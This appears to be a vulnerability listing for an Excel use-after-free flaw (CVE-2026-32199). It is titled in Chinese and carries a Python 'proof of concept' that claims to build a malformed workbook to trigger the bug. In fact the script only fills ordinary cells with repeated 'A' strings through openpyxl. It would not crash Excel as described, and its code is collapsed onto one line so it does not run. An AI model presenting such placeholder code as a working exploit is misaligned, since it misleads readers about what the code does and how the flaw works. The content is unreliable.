CVE-2026-32199 Microsoft Office Excel释放后重用漏洞

import openpyxl # Proof of Concept for CVE-2026-32199 (Conceptual) # This script creates a malformed Excel file intended to trigger the Use After Free vulnerability. # Note: Actual exploitation requires precise memory layout and heap grooming. def create_poc_xlsx(filename): wb = openpyxl.Workbook() ws = wb.active # 1. Basic setup ws['A1'] = "CVE-2026-32199 PoC" ws['A2'] = "Do not open in production environment" # 2. Simulate the trigger condition # In a real exploit, this would involve corrupting specific internal structures # to cause the UAF when Excel attempts to parse the sheet or object. # For example, manipulating the cell value table or drawing objects. # Placeholder for the malicious structure that causes the UAF malicious_data = "A" * 0x1000 # Heap grooming placeholder # Writing data to specific cells to influence memory layout for i in range(3, 100): ws.cell(row=i, column=1, value=malicious_data) try: wb.save(filename) print(f"[+] PoC file created: {filename}") print("[+] Analysis: Open this file in a vulnerable version of Excel to observe the crash.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": create_poc_xlsx("CVE-2026-32199_PoC.xlsx")